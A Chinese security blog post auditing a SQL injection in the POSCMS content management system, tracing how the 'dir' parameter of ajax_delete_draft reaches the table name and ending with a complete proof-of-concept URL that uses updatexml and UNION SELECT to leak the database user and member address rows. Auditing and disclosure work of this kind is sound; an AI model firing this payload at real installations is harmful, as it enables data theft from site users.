poscms 可控表名sql注入
首页 > web安全 > 代码审计    作者:webbaozi   2019年9月4日 23:35 星期三   热度:258°   百度已收录  
时间:2019-9-4 23:35   热度:258° 

好久没写文章了,再发一个去年看的cms。貌似网上已经发过了。

删除草稿功能处,获取dir来拼接成表名

    public function ajax_delete_draft() {

        $sid = (int)$this->input->get('sid');
        $did = (int)$this->input->get('did');
        $table = $this->db->dbprefix($sid.'_'.$this->input->get('dir').'_draft');
        $this->load->model('attachment_model');
        if ($this->site[$sid]->where('id', $did)->where('uid', $this->uid)->get($table)->row_array()) {
            $this->site[$sid]->where('id', $did)->delete($table);
            // 删除表对应的附件
            $this->attachment_model->delete_for_table($table.'-'.$did);
            exit(''.$did.'');
        } else {
            exit('删除失败:草稿不存在!');
        }
    }

在第7行进入where函数

    public function where($key, $value = NULL, $escape = NULL)
    {
        return $this->_wh('qb_where', $key, $value, 'AND ', $escape);
    }

最终表名会进入文件diy/system/database/DB_query_builder.php中的get函数

    public function get($table = '', $limit = NULL, $offset = NULL)
    {
        if ($table !== '')
        {
            $this->_track_aliases($table);
            $this->from($table);
        }

        if ( ! empty($limit))
        {
            $this->limit($limit, $offset);
        }

        $result = $this->query($this->_compile_select());
        $this->_reset_select();
        return $result;
    }

然后进入函数

protected function _track_aliases($table)
    {
        if (is_array($table))
        {
            foreach ($table as $t)
            {
                $this->_track_aliases($t);
            }
            return;
        }

        // Does the string contain a comma?  If so, we need to separate
        // the string into discreet statements
        if (strpos($table, ',') !== FALSE)
        {
            return $this->_track_aliases(explode(',', $table));
        }

        // if a table alias is used we can recognize it by a space
        if (strpos($table, ' ') !== FALSE)
        {
            // if the alias is written with the AS keyword, remove it
            $table = preg_replace('/\s+AS\s+/i', ' ', $table);

            // Grab the alias
            $table = trim(strrchr($table, ' '));

            // Store the alias, if it doesn't already exist
            if ( ! in_array($table, $this->qb_aliased_tables, TRUE))
            {
                $this->qb_aliased_tables[] = $table;
                if ($this->qb_caching === TRUE && ! in_array($table, $this->qb_cache_aliased_tables, TRUE))
                {
                    $this->qb_cache_aliased_tables[] = $table;
                    $this->qb_cache_exists[] = 'aliased_tables';
                }
            }
        }
    }

最终$sql拼接后为:

SELECT *
FROM dr_1_tag where id=1 and 1=2 or updatexml(1, concat(0x7e, (select user())), 1) -- a
union select 1, `dr_2`, `dr_3`, `dr_4`, `dr_5`, `dr_6`, `dr_7`, `dr_8`, `dr_9`, `dr_10`, 11 FROM dr_member_address -- a '`'_draft
WHERE `id` = 1
AND `uid` =0

其中有暗坑:

WHERE `id` = 1
AND `uid` =0
这两行在代码中自带换行了,`这个符号有注释的效果但是会与后面的`id`的`进行闭合,导致没法注释。
这里想到的是正常查询一个语句然后使用联合查询来吧后面的where语句拼接起来

最后一个完整的poc

http://www.poscms.test/index.php?s=member&c=api&m=ajax_delete_draft&sid=1&did=1&dir=tag where id=1 and 1=2 or updatexml(1, concat(0x7e,(select user())), 1) -- a%0aunion select 1,2,3,4,5,6,7,8,9,10,11 FROM dr_member_address -- a '`'


写shell(版本问题,默认不可写)

二维码加载中...
本文作者:webbaozi      文章标题: poscms 可控表名sql注入
本文地址:http://www.webbaozi.com/dmsj/114.html
版权声明:若无注明,本文皆为“baozi|学与用”原创,转载请保留文章出处。

返回顶部    首页    手机版本   
版权所有:baozi|学与用    站长: webbaozi  蜀ICP备16032848号-1